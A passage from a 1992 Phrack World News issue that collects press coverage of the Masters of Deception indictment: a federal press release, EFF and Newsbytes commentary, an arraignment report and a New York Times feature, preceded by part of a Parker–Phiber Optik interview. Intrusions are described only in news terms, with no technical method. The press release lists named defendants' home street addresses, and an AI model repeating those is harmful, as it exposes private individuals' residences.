And it seems to me you've got to go back and learn the principles. What are the basic principles of an operating system? What are the basic principles of access control? Until you've gone back and learned those basics, you're flying by the seat of your pants, and just picking up odds and ends of stuff that you can grab quickly.

OPTIK: I don't see it so much as grabbing things quickly. I've put a lot of time into studying very detailed things. It's not so much popping in and popping out and whatever I find I'm glad I found it. I do spend a lot of time studying manuals and things.

PARKER: Manuals are not going to do it. All you do in learning a manual is learn the current equipment and how it works. If you studied Donald Kanuth's volumes on computer science programming and computer sciences, you would learn the theory of computer programming, you would learn the operating system theory, you would learn the theory that is the foundation on which all of these systems are built.

OPTIK: But that's the thing I guess I don't do. I was never much concerned with theory of operation. I was always concerned with how things work, and how I can use them. Like how to program. I'll admit I was never much into theory. It never interested me. Like with what I do‑theory really doesn't play any role at the present time. Of course, that's subject to change at any time. I'm rather young . . .

A FRIEND WHISPERED in Optik's ear that it was time to go. Still locked in debate, the hacker and the security man left the table and walked together toward the escalator. In profile, at the bottom of the moving stairs, they were an odd couple: Optik with his shiny, jet black hair, Parker with his shiny dome.

Parker was speaking calmly, warning Optik that one day hacking wouldn't seem so boundless, that one day his opportunities wouldn't seem quite so vast. Optik fidgeted, glancing away. Conference attendees filed up the escalator.

"I don't want to be a hacker forever," blurted Optik.

The next afternoon the bank of hotel phones was crowded with business people and conference attendees punching in to get their messages and make their calls. There was Optik, wedged between the suits, acoustic coupler slipped over the phone receiver, a laptop screen flickering before his eyes, his hands flitting over the keys.

PWN/Part 2

==Phrack Inc.==

Volume Four, Issue Forty, File 13 of 14

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue 40 / Part 2 of 3 PWN

PWN PWN

PWN Compiled by Datastream Cowboy PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

MOD Indicted July 8, 1992

~~~~~~~~~~~~

Taken from U.S. Newswire

The following is the press release issued by the United States Attorney's Office in the Southern District of New York.

Group of "Computer Hackers" Indicted First Use of Wiretaps in Such a Case

NEW YORK ‑‑ A group of five "computer hackers" has been indicted on charges of computer tampering, computer fraud, wire fraud, illegal wiretapping, and conspiracy, by a federal grand jury in Manhattan, resulting from the first investigative use of court‑authorized wiretaps to obtain conversations and data transmissions of computer hackers.

A computer hacker is someone who uses a computer or a telephone to obtain unauthorized access to other computers.

The indictment, which was filed today, alleges that Julio Fernandez, a/k/a "Outlaw," John Lee, a/k/a "Corrupt," Mark Abene, a/k/a "Phiber Optik," Elias Ladopoulos, a/k/a "Acid Phreak," and Paul Stira, a/k/a "Scorpion," infiltrated a wide variety of computer systems, including systems operated by telephone companies, credit reporting services, and educational institutions.

According to Otto G. Obermaier, United States Attorney for the Southern District of New York, James E. Heavey, special agent in charge, New York Field Division, United States Secret Service, William Y. Doran, special agent in charge, Criminal Division, New York Field Division, Federal Bureau of Investigation, and Scott Charney, chief of the Computer Crime Unit of the Department of Justice, the indictment charges that the defendants were part of a closely knit group of computer hackers self‑styled "MOD," an acronym used variously for "Masters of Disaster" and "Masters of Deception" among other things.

The indictment alleges that the defendants broke into computers "to enhance their image and prestige among other computer hackers; to harass and intimidate rival hackers and other people they did not like; to obtain telephone, credit, information and other services without paying for them; and to obtain passwords, account numbers and other things of value which they could sell to others."

The defendants are also alleged to have used unauthorized passwords and billing codes to make long distance telephone calls and to be able to communicate with other computers for free.

Some of the computers that the defendants allegedly broke into were telephone switching computers operated by Southwestern Bell, New York Telephone, Pacific Bell, U.S. West and Martin Marietta Electronics Information and Missile Group. According to the indictment, such switching computers each control telephone service for tens of thousands of telephone lines.

In some instances, the defendants allegedly tampered with the computers by adding and altering calling features. In some cases, the defendants allegedly call forwarded local numbers to long distance numbers and thereby obtained long distance services for the price of a local call. Southwestern Bell is alleged to have incurred losses of approximately $370,000 in 1991 as a result of computer tampering by defendants Fernandez, Lee, and Abene.

The indictment also alleges that the defendants gained access to computers operated by BT North America, a company that operates the Tymnet data transfer network. The defendants were allegedly able to use their access to Tymnet computers to intercept data communications while being transmitted through the network, including computer passwords of Tymnet employees. On one occasion, Fernandez and Lee allegedly intercepted data communications on a network operated by the Bank of America.

The charges also allege that the defendants gained access to credit and information services including TRW, Trans Union and Information America. The defendants allegedly were able to obtain personal information on people including credit reports, telephone numbers, addresses, neighbor listings and social security numbers by virtue of their access to these services. On one occasion Lee and another member of the group are alleged to have discussed obtaining information from another hacker that would allow them to alter credit reports on TRW. As quoted in the indictment, Lee said that the information he wanted would permit them "to destroy people's lives... or make them look like saints."

The indictment further charges that in November 1991, Fernandez and Lee sold information to Morton Rosenfeld concerning how to access credit services. The indictment further alleges that Fernandez later provided Rosenfeld's associates with a TRW account number and password that Rosenfeld and his associates used to obtain approximately 176 TRW credit reports on various individuals. (In a separate but related court action, Rosenfeld pleaded guilty to conspiracy to use and traffic in account numbers of TRW. See below).

According to Stephen Fishbein, the assistant United States attorney in charge of the prosecution, the indictment also alleges that members of MOD wiped out almost all of the information contained within the Learning Link computer operated by the Educational Broadcasting Corp. (WNET Channel 13) in New York City. The Learning Link computer provided educational and instructional information to hundreds of schools and teachers in New York, New Jersey and Connecticut. Specifically, the indictment charges that on November 28, 1989, the information on the Learning Link was destroyed and a message was left on the computer that said: "Happy Thanksgiving you turkeys, from all of us at MOD" and which was signed with the aliases "Acid Phreak," "Phiber Optik," and "Scorpion." During an NBC News broadcast on November 14, 1990, two computer hackers identified only by the aliases "Acid Phreak" and "Phiber Optik" took responsibility for sending the "Happy Thanksgiving" message.

Obermaier stated that the charges filed today resulted from a joint investigation by the United States Secret Service and the Federal Bureau of Investigation. "This is the first federal investigation ever to use courtauthorized wiretaps to obtain conversations and data transmissions of computer hackers," said Obermaier. He praised both the Secret Service and the FBI for their extensive efforts in this case. Obermaier also thanked the Department of Justice Computer Crime Unit for their important assistance in the investigation. Additionally, Obermaier thanked the companies and institutions whose computer systems were affected by the defendants' activities, all of whom cooperated fully in the investigation.

Fernandez, age 18, resides at 3448 Steenwick Avenue, Bronx, New York. Lee (also known as John Farrington), age 21, resides at 64A Kosciusco Street, Brooklyn, New York. Abene, age 20, resides at 94‑42 Alstyne Avenue, Queens, New York. Elias Ladopoulos, age 22, resides at 85‑21 159th Street, Queens, New York. Paul Stira, age 22, resides at 114‑90 227th Street, Queens, New York. The defendants' arraignment has been scheduled for July 16, at 10 AM in Manhattan federal court.

The charges contained in the indictment are accusations only and the defendants are presumed innocent unless and until proven guilty. Fishbein stated that if convicted, each of the defendants may be sentenced to a maximum of five years imprisonment on the conspiracy count. Each of the additional counts also carries a maximum of five years imprisonment, except for the count charging Fernandez with possession of access devices, which carries a maximum of ten years imprisonment. Additionally, each of the counts carries a maximum fine of the greater of $250,000, or twice the gross gain or loss incurred.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

In separate but related court actions, it was announced that Rosenfeld and Alfredo De La Fe [aka Renegade Hacker] have each pleaded guilty in Manhattan Federal District Court to conspiracy to use and to traffic in unauthorized access devices in connection with activities that also involved members of MOD.

Rosenfeld pled guilty on June 24 before Shirley Wohl Kram, United States District Judge. At his guilty plea, Rosenfeld admitted that he purchased account numbers and passwords for TRW and other credit reporting services from computer hackers and then used the information to obtain credit reports, credit card numbers, social security numbers and other personal information which he sold to private investigators. Rosenfeld added in his guilty plea that on or about November 25, 1991, he purchased information from persons named "Julio" and "John" concerning how to obtain unauthorized access to credit services. Rosenfeld stated that he and his associates later obtained additional information from "Julio" which they used to pull numerous credit reports. According to the information to which Rosenfeld pleaded guilty, he had approximately 176 TRW credit reports at his residence on December 6, 1991.

De La Fe pled guilty on June 19 before Kenneth Conboy, United States District Judge. At his guilty plea, De La Fe stated that he used and sold telephone numbers and codes for Private Branch Exchanges ("PBXs"). According to the information to which De La Fe pleaded guilty, a PBX is a privately operated computerized telephone system that routes calls, handles billing, and in some cases permits persons calling into the PBX to obtain outdial services by entering a code. De La Fe admitted that he sold PBX numbers belonging to Bugle Boy Industries and others to a co‑conspirator who used the numbers in a call sell operation, in which the co‑conspirator charged others to make long distance telephone calls using the PBX numbers. De La Fe further admitted that he and his associates used the PBX numbers to obtain free long distance services for themselves. De La Fe said that one of the people with whom he frequently made free long distance conference calls was a person named John Farrington, who he also knew as "Corrupt."

Rosenfeld, age 21, resides at 2161 Bedford Avenue, Brooklyn, N.Y. Alfredo De La Fe, age 18, resides at 17 West 90th Street, N.Y. Rosenfeld and De La Fe each face maximum sentences of five years, imprisonment and maximum fines of the greater of $250,000, or twice the gross gain or loss incurred. Both defendants have been released pending sentence on $20,000 appearance bonds. Rosenfeld's sentencing is scheduled for September 9, before Shirley Wohl Kram. De La Fe's sentencing is scheduled for August 31, before Conboy.

‑‑‑‑‑

Contacts:

Federico E. Virella Jr., 212‑791‑1955, U.S. Attorney's Office, S. N.Y. Stephen Fishbein, 212‑791‑1978, U.S. Attorney's Office, S. N.Y. Betty Conkling, 212‑466‑4400, U.S. Secret Service

Joseph Valiquette Jr., 212‑335‑2715, Federal Bureau of Investigation

Editor's Note: The full 23 page indictment can be found in Computer Underground Digest (CUD), issue 4.31 (available at ftp.eff.org /pub/cud/cud).

________________________________________

EFF Issues Statement On New York Computer Crime Indictments July 9, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Cambridge, MA ‑‑ The Electronic Frontier Foundation (EFF) issued a statement concerning the indictment of MOD for alleged computer‑related crimes.

This statement said, in part, that EFF's "staff counsel in Cambridge, Mike Godwin is carefully reviewing the indictment."

EFF co‑founder and president Mitchell Kapor said "EFF's position on unauthorized access to computer systems is, and has always been, that it is wrong. Nevertheless, we have on previous occasions discovered that allegations contained in Federal indictments can also be wrong, and that civil liberties can be easily infringed in the information age. Because of this, we will be examining this case closely to establish the facts."

When asked how long the complete trial process might take, assistant U.S. attorney Fishbein said "I really couldn't make an accurate estimate. The length of time period before trial is generally more a function of the defense's actions than the prosecution's. It could take anywhere from six months to a year.

________________________________________

Feds Tap Into Major Hacker Ring July 13, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Mary E. Thyfault (InformationWeek)(Page 15)

Law enforcement officials are taking the gloves off‑and plugging their modems in‑in the battle against computer crime.

In one of the largest such cases ever, a federal grand jury in Manhattan indicted five computer "hackers" ‑‑ part of a group that calls itself MOD, for Masters of Deception ‑‑ on charges of computer tampering, computer fraud, wire fraud, illegal wiretapping, and conspiracy.

Some of the hackers are accused of stealing phone service and selling information on how to obtain credit reports. The victims (a dozen were named in the indictments, but numerous others are likely to have been hit as well) include three Baby Bells, numerous credit bureaus, and BankAmerica Corp.

For the first time, investigators used court‑authorized wiretaps to monitor data transmissions over phone lines. The wiretapping comes as the FBI is unsuccessfully lobbying Congress to mandate that telecom equipment and service companies build into new technology easier ways for securities agencies to tap into computer systems.

Ironically, the success of this wiretap, some say, may undermine the FBI's argument. "They did this without the equipment they claim they need," says Craig Neidorf, founder of hacker newsletter Phrack.

If convicted, the alleged hackers‑all of whom are under 22 years old‑could face 55 years each and a fine of $250,000, or twice the gross gain or loss incurred. One charged with possessing an access device could face an additional five years.

The vulnerability of the victims' networks should be surprising, but experts say corporations continue to pay scant attention to security issues. For instance, despite the fact that the credit bureaus are frequent targets of hackers and claim to have made their networks more secure, in this case, most of the victims didn't even know they were being hit, according to the FBI.

Two of the victims, value‑added network service provider BT Tymnet and telco Southwestern Bell, both take credit for helping nab the hacker ring. "We played an instrumental role in first recognizing that they were there," says John Guinasso, director of global network security for Tymnet parent BT North America. "If you mess with our network and we catch you ‑‑ which we always do ‑‑ you will go down."

________________________________________

Second Thoughts On New York Computer Crime Indictments July 13, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By John F. McMullen (Newsbytes)

NEW YORK ‑‑ On Wednesday, July 9th, I sat at a press briefing in New York City's Federal Court Building during which law enforcement officials presented details relating to the indictment of 5 young computer "hackers". In describing the alleged transgressions of the indicted, United States Assistant Attorney Stephen Fishbein wove a tale of a conspiracy in which members of an evil sounding group called the "Masters of Destruction" (MOD) attempted to wreck havoc with the telecommunications system of the country.

The accused were charged with infiltrating computer systems belonging to telephone companies, credit bureaus, colleges and defense contractors ‑Southwestern Bell, BT North America, New York Telephone, ITT, Information America, TRW, Trans Union, Pacific Bell, the University of Washington, New York University, U.S. West, Learning Link, Tymnet and Martin Marietta Electronics Information and Missile Group. They were charged with causing injury to the telephone systems, charging long distance calls to the universities, copying private credit information and selling it to third parties ‑‑ a long list of heinous activities.

The immediate reaction to the indictments were predictably knee‑jerk. Those who support any so‑called "hacker"‑activities mocked the government and the charges that were presented, forgetting, it seems to me, that these charges are serious ‑‑ one of the accused could face up to 40 years in prison and $2 million in fines; another ‑‑ 35 years in prison and $1.5 million in fines. In view of that possibility, it further seems to me that it is a wasteful diversion of effort to get all excited that the government insists on misusing the word "hacker" (The indictment defines computer hacker as "someone who uses a computer or a telephone to obtain unauthorized access to other computers.") or that the government used wiretapping evidence to obtain the indictment (I think that, for at least the time being that the wiretapping was carried out under a valid court order; if it were not, the defendants' attorneys will have a course of action).

On the other hand, those who traditionally take the government and corporate line were publicly grateful that this threat to our communications life had been removed ‑‑ they do not in my judgement properly consider that some of these charges may have been ill‑conceived and a result of political considerations.

Both groups, I think, oversimplify and do not give proper consideration to the wide spectrum of issues raised by the indictment document. The issues range from a simple black‑and‑white case of fraudulently obtaining free telephone time to the much broader question of the appropriate interaction of technology and law enforcement.

The most clear cut cases are the charges such as the ones which allege that two of the indicted, Julio Fernandez a/k/a "Outlaw" and John Lee a/k/a "Corrupt" fraudulently used the computers of New York University to avoid paying long distance charges for calls to computer systems in El Paso, Texas and Seattle, Washington. The individuals named either did or did not commit the acts alleged and, if it is proven that they did, they should receive the appropriate penalty (it may be argued that the 5 year, $250,000 fine maximum for each of the counts in this area is excessive, but that is a sentencing issue not an indictment issue).

Other charges of this black‑and‑white are those that allege that Fernandez and/or Lee intercepted electronic communications over networks belonging to Tymnet and the Bank of America. Similarly, the charge that Fernandez, on December 4, 1991 possessed hundreds of user id's and passwords of Southwestern Bell, BT North America and TRW fits in the category of "either he did it or he didn't."

A more troubling count is the charge that the indicted 5 were all part of a conspiracy to "gain access to and control of computer systems in order to enhance their image and prestige among other computer hackers; to harass and intimidate rival hackers and people they did not like; to obtain telephone, credit, information, and other services without paying for them; and to obtain passwords, account numbers and other things of value which they could sell to others."

To support this allegation, the indictment lists 26, lettered A through Z, "Overt Acts" to support the conspiracy. While this section of the indictment lists numerous telephone calls between some of the individuals, it mentions the name Paul Stira a/k/a "Scorpion" only twice with both allegations dated "on or about" January 24, 1990, a full 16 months before the next chronological incident. Additionally, Stira is never mentioned as joining in any of the wiretapped conversation ‑‑ in fact, he is never mentioned again! I find it hard to believe that he could be considered, from these charges, to have engaged in a criminal conspiracy with any of the other defendants.

Additionally, some of the allegations made under the conspiracy count seem disproportionate to some of the others. Mark Abene a/k/a "Phiber Optik" is of possessing proprietary technical manuals belonging to BT North America while it is charged that Lee and Fernandez, in exchange for several hundred dollars, provided both information on how to illegally access credit reporting bureaus and an actual TRW account and password to a person, Morton Rosenfeld, who later illegally accessed TRW, obtained credit reports on 176 individuals and sold the reports to private detective (Rosenfeld, indicted separately, pled guilty to obtaining and selling the credit reports and named "Julio" and "John" as those who provided him with the information). I did not see anywhere in the charges any indication that Abene, Stira or Elias Ladopoulos conspired with or likewise encouraged Lee or Fernandez to sell information involving the credit bureaus to a third party

Another troubling point is the allegation that Fernandez, Lee, Abene and "others whom they aided and abetted" performed various computer activities "that caused losses to Southwestern Bell of approximately $370,000." The $370,000 figure, according to Assistant United States Attorney Stephen Fishbein, was developed by Southwestern Bell and is based on "expenses to locate and replace computer programs and other information that had been modified or otherwise corrupted, expenses to determine the source of the unauthorized intrusions, and expenses for new computers and security devices that were necessary to prevent continued unauthorized access by the defendants and others whom they aided and abetted."

While there is precedent in assigning damages for such things as "expenses for new computers and security devices that were necessary to prevent continued unauthorized access by the defendants and others whom they aided and abetted." (the Riggs, Darden & Grant case in Atlanta found that the defendants were liable for such expenses), many feel that such action is totally wrong. If a person is found uninvited in someone's house, they are appropriately charged with unlawful entry, trespassing, burglary ‑‑ whatever the statute is for the transgression; he or she is, however, not charged with the cost of the installation of an alarm system or enhanced locks to insure that no other person unlawfully enters the house.

When I discussed this point with a New York MIS manager, prone to take a strong anti‑intruder position, he said that an outbreak of new crimes often results in the use of new technological devices such as the nationwide installation of metal detectors in airports in the 1970's. While he meant this as a justification for liability, the analogy seems rather to support the contrary position. Air line hijackers were prosecuted for all sorts of major crimes; they were, however, never made to pay for the installation of the metal detectors or absorb the salary of the additional air marshalls hired to combat hijacking.

I think the airline analogy also brings out the point that one may both support justifiable penalties for proven crimes and oppose unreasonable ones ‑‑ too often, when discussing these issues, observers choose one valid position to the unnecessary exclusion of another valid one. There is nothing contradictory, in my view, to holding both that credit agencies must be required to provide the highest possible level of security for data they have collected AND that persons invading the credit data bases, no matter how secure they are, be held liable for their intrusions. We are long past accepting the rationale that the intruders "are showing how insecure these repositories of our information are." We all know that the lack of security is scandalous; this fact, however, does not excuse criminal behavior (and it should seem evident that the selling of electronic burglar tools so that someone may copy and sell credit reports is not a public service).

The final point that requires serious scrutiny is the use of the indictment as a tool in the on‑going political debate over the FBI Digital Telephony proposal. Announcing the indictments, Otto G. Obermaier, United States Attorney for the Southern District of New York, said that this investigation was "the first investigative use of court‑authorized wiretaps to obtain conversations and data transmissions of computer hackers." He said that this procedure was essential to the investigation and that "It demonstrates, I think, the federal government's ability to deal with criminal conduct as it moves into new technological areas." He added that the interception of data was possible only because the material was in analog form and added "Most of the new technology is in digital form and there is a pending statute in Congress which seeks the support of telecommunications companies to allow the federal government, under court authorization, to intercept digital transmission. Many of you may have read the newspaper about the laser transmission which go through fiber optics as a method of the coming telecommunications method. The federal government needs the help of Congress and, indeed, the telecommunications companies to able to intercept digital communications."

The FBI proposal has been strongly attacked by the American Civil Liberties Union (ACLU), the Electronic Frontier Foundation (EFF) and Computer Professionals for Social Responsibility (CPSR) as an attempt to institutionalize, for the first time, criminal investigations as a responsibility of the communications companies; a responsibility that they feel belongs solely to law‑enforcement. Critics further claim that the proposal will impede the development of technology and cause developers to have to "dumb‑down" their technologies to include the requested interception facilities. The FBI, on the other hand, maintains that the request is simply an attempt to maintain its present capabilities in the face of advancing technology.

Whatever the merits of the FBI position, it seems that the indictments either would not have been made at this time or, at a minimum, would not have been done with such fanfare if it were not for the desire to attempt to drum up support for the pending legislation. The press conference was the biggest thing of this type since the May 1990 "Operation Sun Devil" press conference in Phoenix, Arizona and, while that conference, wowed us with charges of "hackers" endangering lives by disrupting hospital procedures and being engaged in a nationwide, 13 state conspiracy, this one told us about a bunch of New York kids supposedly engaged in petty theft, using university computers without authorization and performing a number of other acts referred to by Obermaier as "anti‑social behavior" ‑‑ not quite as heady stuff!

It is not to belittle these charges ‑‑ they are quite serious ‑‑ to question the fanfare. The conference was attended by a variety of high level Justice Department, FBI and Secret Service personnel and veteran New York City crime reporters tell me that the amount of alleged damages in this case would normally not call for such a production ‑‑ New York Daily News reporter Alex Michelini publicly told Obermaier "What you've outlined, basically, except for the sales of credit information, this sounds like a big prank, most of it" (Obermaier's response ‑‑ "Well, I suppose you can characterize that as a prank, but it's really a federal crime allowing people without authorization to rummage through the data of other people to which they do not have access and, as I point out to you again, the burglar cannot be your safety expert. He may be inside and laugh at you when you come home and say that your lock is not particularly good but I think you, if you were affected by that contact, would be somewhat miffed"). One hopes that it is only the fanfare surrounding the indictments that is tied in with the FBI initiative and not the indictments themselves.

As an aside, two law enforcement people that I have spoken to have said that while the statement that the case is "the first investigative use of courtauthorized wiretaps to obtain conversations and data transmissions of computer hackers," while probably true, seems to give the impression that the case is the first one in which data transmission was intercepted. According to these sources, that is far from the case ‑‑ there have been many instances of inception of data and fax information by law enforcement officials in recent years.

I know each of the accused in varying degrees. The one that I know the best, Phiber Optik, has participated in panels with myself and law enforcement officials discussing issues relating to so‑called "hacker" crime. He has also appeared on various radio and television shows discussing the same issues. His high profile activities have made him an annoyance to some in law enforcement. One hopes that this annoyance played no part in the indictment.

I have found Phiber's presence extremely valuable in these discussions both for the content and for the fact that his very presence attracts an audience that might never otherwise get to hear the voices of Donald Delaney, Mike Godwin, Dorothy Denning and others addressing these issues from quite different vantage points. While he has, in these appearances, said that he has "taken chances to learn things", he has always denied that he has engaged in vandalous behavior and criticized those who do. He has also called those who engage in "carding" and the like as criminals (These statements have been made not only in the panel discussion, but also on the occasions that he has guest lectured to my class in "Connectivity" at the New School For Social Research in New York City. In those classes, he has discussed the history of telephone communications in a way that has held a class of professionals enthralled by over two hours.

While my impressions of Phiber or any of the others are certainly not a guarantee of innocence on these charges, they should be taken as my personal statement that we are not dealing with a ring of hardened criminals that one would fear on a dark night.

In summary, knee‑jerk reactions should be out and thoughtful analysis in! We should be insisting on appropriate punishment for lawbreakers ‑‑ this means neither winking at "exploration" nor allowing inordinate punishment. We should be insisting that companies that have collected data about us properly protect ‑‑ and are liable for penalties when they do not. We should not be deflected from this analysis by support or opposition to the FBI proposal before Congress ‑‑ that requires separate analysis and has nothing to do with the guilt or innocence of these young men or the appropriate punishment should any guilt be established.

________________________________________

New York Hackers Plead Not Guilty July 17, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

New York City ‑‑ At an arraignment in New York Federal Court on Thursday, July 16th, the five New York "hackers," recently indicted on charges relating to alleged computer intrusion, all entered pleas of not guilty and were released after each signed a personal recognizance (PRB) bond of $15,000 to guarantee continued appearances in court.

As part of the arraignment process, United States District Judge Richard Owen was assigned as the case's presiding judge and a pre‑trial meeting between the judge and the parties involved.

Charles Ross, attorney for John Lee, told Newsbytes "John Lee entered a not guilty plea and we intend to energetically and aggressively defend against the charges made against him."

Ross also explained the procedures that will be in effect in the case, saying "We will meet with the judge and he will set a schedule for discovery and the filing of motions. The defense will have to review the evidence that the government has amassed before it can file intelligent motions and the first meeting is simply a scheduling one."

Majorie Peerce, attorney for Stira, told Newsbytes "Mr. Stira has pleaded not guilty and will continue to plead not guilty. I am sorry to see the government indict a 22 year old college student for acts that he allegedly committed as a 19 year old."

The terms of the PRB signed by the accused require them to remain within the continental United States. In requesting the bond arrangement, Assistant United States Attorney Stephen Fishbein referred to the allegations as serious and requested the $15,000 bond with the stipulation that the accused have their bonds co‑signed by parents. Abene, Fernandez and Lee, through their attorneys, agreed to the bond as stipulated while the attorneys for Ladopoulos and Stira requested no bail or bond for their clients, citing the fact that their clients have been available, when requested by authorities, for over a year. After consideration by the judge, the same $15,000 bond was set for Ladopoulos and Stira but no co‑signature was required.

________________________________________

Young Working‑Class Hackers Accused of High‑Tech Crime July 23, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Mary B.W. Tabor with Anthony Ramirez (The New York Times)(Page B1, B7)

Computer Savvy, With an Attitude

Late into the night, in working‑class neighborhoods around New York City, young men with code names like Acid Phreak and Outlaw sat hunched before their glowing computer screens, exchanging electronic keys to complex data‑processing systems. They called themselves the Masters of Deception. Their mission: to prove their prowess in the shadowy computer underworld.

Compulsive and competitive, they played out a cybernetic version of "West Side Story," trading boasts, tapping into telephone systems, even pulling up confidential credit reports to prove their derring‑do and taunt other hackers. Their frequent target was the Legion of Doom, a hacker group named after a gang of comic‑book villains. The rivalry seemed to take on class and ethnic overtones, too, as the diverse New York group defied the traditional image of the young suburban computer whiz.

But Federal prosecutors say the members of MOD, as the group called itself, went far beyond harmless pranks.

Facing Federal Charges

On July 16, five young men identified by prosecutors as MOD members pleaded not guilty to Federal charges including breaking into some of the nation's most powerful computers and stealing confidential data like credit reports, some of which were later sold to private investigators. Prosecutors call it one of the most extensive thefts of computer information ever reported.

The indictment says the men entered the computer systems of Southwestern Bell, TRW Information Services and others "to enhance their image and prestige among other computer hackers; to harass and intimidate rival hackers and other people they did not like; to obtain telephone, credit, information and other services without paying for them; and to obtain passwords, account numbers and other things of value which they could sell to others."

With modems that link their terminals to other computers over ordinary telephone lines, young hackers have been making mischief for years. But as the nation relies more and more on vast networks of powerful computers and as personal computers become faster and cheaper, the potential for trouble has soared. For example, Robert Tappan Morris, a Cornell student, unleashed a program in 1988 that jammed several thousand computers across the country.

A Polyglot Group

But the world of computer hackers has been changing. Unlike the typical hackers of old ‑‑ well‑to‑do suburban youths whose parents could afford costly equipment ‑‑ the Masters of Deception are a polyglot representation of bluecollar New York: black, Hispanic, Greek, Lithuanian and Italian. They work their mischief often using the least expensive computers.

One of the young men, 21‑year‑old John Lee, who goes by the name Corrupt, has dreadlocks chopped back into stubby "twists," and lives with his mother in a dilapidated walk‑up in Bedford‑Stuyvesant, Brooklyn. He bounced around programs for gifted students before dropping out of school in the 11th grade. Scorpion ‑‑ 22‑year‑old Paul Stira of Queens ‑‑ was his class valedictorian at Thomas A. Edison High School in Queens. Outlaw ‑‑ Julio Fernandez, 18, of the Bronx ‑‑ first studied computers in grade school.

They met not on street corners, but via computer bulletin boards used to swap messages and programs.

With nothing to identify them on the boards except their nicknames and uncanny abilities, the young men found the computer the great democratic leveler.

Questions of Profit

There may be another difference in the new wave of hackers. While the traditional hacker ethic forbids cruising computer systems for profit, some new hackers are less idealistic. "People who say that," said one former hacker, a friend of the MOD who insisted on anonymity, "must have rich parents. When you get something of value, you've got to make money."

Mr. Lee, Mr. Fernandez, Mr. Stira and two others described as MOD members ‑20‑year‑old Mark Abene (Phiber Optik), and 22‑year‑old Elias Ladopoulos (Acid Phreak), both of Queens ‑‑ were charged with crimes including computer tampering, computer and wire fraud, illegal wiretapping and conspiracy. They face huge fines and up to five years in prison on each of 11 counts.

The youths, on advice of their lawyers, declined to be interviewed.

Prosecutors say they do not know just how and when youthful pranks turned to serious crime. Other hackers said the trouble began, perhaps innocently enough, as a computer war with ethnic and class overtones.

The Masters of Deception were born in a conflict with the Legion of Doom, which had been formed by 1984 and ultimately included among its ranks three Texans, one of whom, Kenyon Shulman, is the son of a Houston socialite, Carolyn Farb.

Banished From the Legion

Mr. Abene had been voted into the Legion at one point. But when he began to annoy others in the group with his New York braggadocio and refusal to share information, he was banished, Legion members said.

Meanwhile, a hacker using a computer party line based in Texas had insulted Mr. Lee, who is black, with a racial epithet.

By 1989, both New Yorkers had turned to a new group, MOD, founded by Mr. Ladopoulos. They vowed to replace their Legion rivals as the "new elite."

"It's like every other 18‑ or 19‑year‑old who walks around knowing he can do something better than anyone else can," said Michael Godwin, who knows several of the accused and is a lawyer for the Electronic Frontier Foundation of Cambridge, Massachusetts, which provides legal aid for hackers. "They are offensively arrogant."

Hacker groups tend to rise and fall within six months or so as members leave for college, meet girls or, as one former hacker put it, "get a life." But the MOD continued to gather new members from monthly meetings in the atrium of the Citicorp Building in Manhattan and a computer bulletin board called Kaos. According to a history the group kept on the computer network, they enjoyed "mischievous pranks," often aimed at their Texas rivals, and the two groups began sparring.

Texas‑New York Sparring

But in June 1990, the three Texas‑based Legion members, including Mr. Shulman, Chris Goggans and Scott Chasin, formed Comsec Data Security, a business intended to help companies prevent break‑ins by other hackers.

Worried that the Texans were acting as police informers, the MOD members accused their rivals of defaming them on the network bulletin boards. Several members, including Mr. Abene, had become targets of raids by the Secret Service, and MOD members believed the Texans were responsible, a contention the Texans respond to with "no comment."

But the sparring took on racial overtones as well. When Mr. Lee wrote a history of the MOD and left it in the network, Mr. Goggans rewrote it in a jive parody.

The text that read, "In the early part of 1987, there were numerous amounts of busts in the U.S. and in New York in particular" became "In de early time part uh 1987, dere wuz numerous amounts uh busts in de U.S. and in New Yo'k in particular."

Mr. Goggans said that it was not meant as a racist attack on Mr. Lee. "It was just a good way to get under his skin," he said.

Exposing Identities

MOD's activities, according to the indictment and other hackers, began to proliferate.

Unlike most of the "old generation" of hackers who liked to joyride through the systems, the New Yorkers began using the file information to harass and intimidate others, according to prosecutors. Everything from home addresses to credit card numbers to places of employment to hackers' real names ‑‑ perhaps the biggest taboo of all ‑‑ hit the network.

In the indictment, Mr. Lee and Mr. Fernandez are accused of having a conversation last fall in which they talked about getting information on how to alter TRW credit reports to "destroy people's lives or make them look like saints."

The prosecutors say the youths also went after information they could sell, though the indictment is not specific about what, if anything, was sold. The only such information comes from another case earlier this month in which two other New York City hackers, Morton Rosenfeld, 21, of Brooklyn, and Alfredo de la Fe, 18, of Manhattan, pleaded guilty to a conspiracy to use passwords and other access devices obtained from MOD. They said they had paid "several hundred dollars" to the computer group for passwords to obtain credit reports and then resold the information for "several thousand dollars" to private investigators.

News Media Attention

Competition for attention from the news media also heated up. The former Legion members in Comsec had become media darlings, with articles about them appearing in Time and Newsweek. Mr. Abene and Mr. Ladopoulos also appeared on television or in magazines, proclaiming their right to probe computer systems, as long as they did no damage.

In one highly publicized incident, during a 1989 forum on computers and privacy sponsored by Harper's magazine, John Perry Barlow, a freelance journalist and lyricist for the Grateful Dead, went head to head with Mr. Abene, or Phiber Optik. Mr. Barlow called the young hacker a "punk."

According to an article by Mr. Barlow ‑‑ an account that Mr. Abene will not confirm or deny ‑‑ Mr. Abene then retaliated by "downloading" Mr. Barlow's credit history, displaying it on the computer screens of Mr. Barlow and other network users.

Skirmishes Subside

"I've been in redneck bars wearing shoulder‑length curls, police custody while on acid, and Harlem after midnight, but no one has ever put the spook in me quite as Phiber Optik did at that moment," Mr. Barlow wrote. "To a middleclass American, one's credit rating has become nearly identical to his freedom."

In recent months, hackers say, the war has calmed down. Comsec went out of business, and several Masters of Deception were left without computers after the Secret Service raids.

Mr. Abene pleaded guilty last year to misdemeanor charges resulting from the raids. On the night before his arrest this month, he gave a guest lecture on computers at the New School for Social Research.

